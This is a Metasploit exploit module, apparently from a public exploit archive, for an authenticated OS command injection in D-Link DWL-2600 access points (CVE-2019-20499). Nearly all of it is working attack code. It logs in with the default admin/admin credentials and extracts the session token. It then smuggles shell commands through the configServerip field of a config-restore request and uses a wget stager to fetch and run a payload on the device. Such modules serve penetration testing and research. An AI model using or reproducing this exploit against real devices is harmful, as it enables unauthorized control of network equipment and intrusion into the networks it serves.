DLINK DWL-2600 – Authenticated Remote Command Injection (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'DLINK DWL-2600 Authenticated Remote Command Injection', 'Description' => %q{ Some DLINK Access Points are vulnerable to an authenticated OS command injection. Default credentials for the web interface are admin/admin. }, 'Author' => [ 'RAKI BEN HAMOUDA', # Vulnerability discovery and original research 'Nick Starke' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2019-20499' ], [ 'EDB', '46841' ] ], 'DisclosureDate' => 'May 15 2019', 'Privileged' => true, 'Platform' => %w{ linux unix }, 'Payload' => { 'DisableNops' => true, 'BadChars' => "\x00" }, 'CmdStagerFlavor' => :wget, 'Targets' => [ [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Linux mips Payload', { 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux' } ], ], 'DefaultTarget' => 1 )) register_options( [ OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]), OptString.new('TARGETURI', [ true, 'Base path to the Dlink web interface', '/' ]) ]) end def execute_command(cmd, opts={}) bogus = Rex::Text.rand_text_alpha(rand(10)) post_data = Rex::MIME::Message.new post_data.add_part("up", nil, nil, "form-data; name=\"optprotocol\"") post_data.add_part(bogus, nil, nil, "form-data; name=\"configRestore\"") post_data.add_part("; #{cmd} ;", nil, nil, "form-data; name=\"configServerip\"") print_status("Sending CGI payload using token: #{@token}") # Note token is an instance variable now res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin.cgi'), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => "sessionHTTP=#{@token};", 'data' => post_data.to_s, 'query' => 'action=config_restore' }) unless res || res.code != 200 fail_with(Failure::UnexpectedReply, "Command wasn't executed, aborting!") end rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return end def exploit user = datastore['HttpUsername'] pass = datastore['HttpPassword'] rhost = datastore['RHOST'] rport = datastore['RPORT'] print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/admin.cgi'), 'method' => 'POST', 'vars_post' => { 'i_username' => user, 'i_password' => pass, 'login' => 'Logon' } }) unless res && res.code != 404 fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end unless [200, 301, 302].include?(res.code) fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") delstart = 'var cookieValue = "' tokenoffset = res.body.index(delstart) + delstart.size endoffset = res.body.index('";', tokenoffset) @token = res.body[tokenoffset, endoffset - tokenoffset] if @token.empty? fail_with(Failure::NoAccess, "#{peer} - No Auth token received") end print_good("#{peer} - Received Auth token: #{@token}") if target.name =~ /CMD/ unless datastore['CMD'] fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end execute_command(payload.encoded) else execute_cmdstager(linemax: 100, noconcat: true) end end end |